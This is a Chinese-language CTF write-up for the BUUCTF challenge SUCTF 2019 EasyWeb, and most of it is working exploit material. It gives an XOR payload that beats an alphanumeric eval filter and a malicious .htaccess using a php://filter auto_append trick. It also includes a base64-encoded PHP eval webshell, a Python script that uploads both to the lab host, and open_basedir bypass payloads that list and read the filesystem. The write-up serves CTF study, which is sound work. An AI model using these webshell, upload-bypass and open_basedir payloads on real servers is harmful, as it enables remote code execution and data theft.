BUU WEB [SUCTF 2019]EasyWeb

BUU WEB [SUCTF 2019]EasyWeb

emmm,這道題目涉及到較多知識點,就單獨記錄一下
首先打開網頁可以看見源碼:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看見最後有個命令執行,不過對我們的參數進行了許多的過濾,
無數字字母,類似於這種之前第十屆極客大挑戰也有過,,可以採用異或、取反、自增繞過
這裏取反無法實現,這裏對長度有要求,所以自增也放棄,採用異或來進行繞過,
異或腳本:

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

運行得到,因爲這裏還有字符種類限制,所以前面的都得一樣:
在這裏插入圖片描述
得到payload:

?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

可以看見phpinfo頁面,版本7.2,由於這裏各種限制,所以我們就只能從get_the_flag()函數下手了
可以看見是上傳文件,對後綴名進行了過濾,不能上傳有ph的後綴文件,phtml,php等也不能上傳了,
可以考慮.htaccess和.user.ini,不過這裏.user.ini好像不行
對內容進行了過濾,不能包含<?,由於這裏版本太高,所以<script language="php"></script>無法使用
這裏的解決方法是將一句話進行base64編碼,然後在.htaccess中利用php僞協議進行解碼
還有個文件頭檢測,好辦,一般都用GIF89進行繞過,但是這裏會出現問題,.htaccess文件會無法生效
我們可以使用#define width 1337 #define height 1337進行繞過,#在.htaccess中表示註釋
所以我們的.htaccess文件內容如下:

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

shell.ahhh:

GIF89a12		#12是爲了補足8個字節,滿足base64編碼的規則
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上傳腳本:

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到路徑:
在這裏插入圖片描述
訪問shell:
在這裏插入圖片描述
可以執行,但是好像無法讀取根目錄下的東西,可以讀取/tmp的目錄,不可以讀取/etc的目錄
從phpinfo中看到:
在這裏插入圖片描述
接下來就是繞過open_basedir了,參考這個bypass open_basedir的新方法
直接拿文中的payload用一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

得到:
在這裏插入圖片描述
讀取一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

得到flag~~

總結

這個題知識點主要有三個:
1、通過異或來繞過無數字無字母的函數執行
2、通過上傳.htaccess來getshell,其中還包括,如何繞過上傳的過濾
3、繞過open_basedir
總的來說收穫很大,不得不說suctf的質量很高,像我這種菜雞就不會做,,,,
在吐槽一下這個網絡,做一半斷網差點文章不保~~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章